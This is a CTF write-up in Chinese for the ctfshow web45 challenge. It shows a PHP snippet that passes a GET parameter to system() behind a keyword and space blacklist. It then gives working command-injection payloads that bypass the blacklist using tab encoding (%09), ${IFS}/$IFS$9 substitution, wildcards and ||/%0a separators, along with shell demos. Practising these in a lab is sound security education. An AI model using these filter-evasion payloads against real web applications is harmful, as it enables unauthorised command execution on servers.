ctfshow web入门 web45
信息收集
和之前一样,使用?
或*
绕过flag,使用||
或%0a
绕过黑洞
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| /i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
}
解题
使用tab代替空格
查ASCII码表,tab = 0x09
,用%09代替空格
?c=tac%09fla*||
使用环境变量代替空格
先看看这篇文章:LINUX Shell命令中$0、 1 − 9 、 1-9、 1−9、#、 ? 、 ?、 ?、*、 @ 、 @、 @、!、 、 、 、-、$IFS含义及举例
这里有两种写法,如果可以使用$
,那么我们可以找一些环境变量来拼凑要执行的命令
$IFS
默认值是空格,制表符,换行符。这里应该没有解析为换行符
其中不管是${IFS}
还是$IFS$9
都是为了替代空格,${value}
可以将其解析为变量,而在不用{}的情况下,我们需要一个无用的参数$9
来将$IFS
与后续的内容进行分离。
?c=tac${IFS}fla*%0a
?c=tac$IFS$9fla*%0a
就像这样
┌──(si㉿kali)-[~]
└─$ echo 1$IFSflag
1┌──(si㉿kali)-[~]
└─$ echo 1$IFS$9flag
1
flag┌──(sillenge㉿kali)-[~]
└─$ echo 1${IFS}flag
1
flag
web44 目录 web46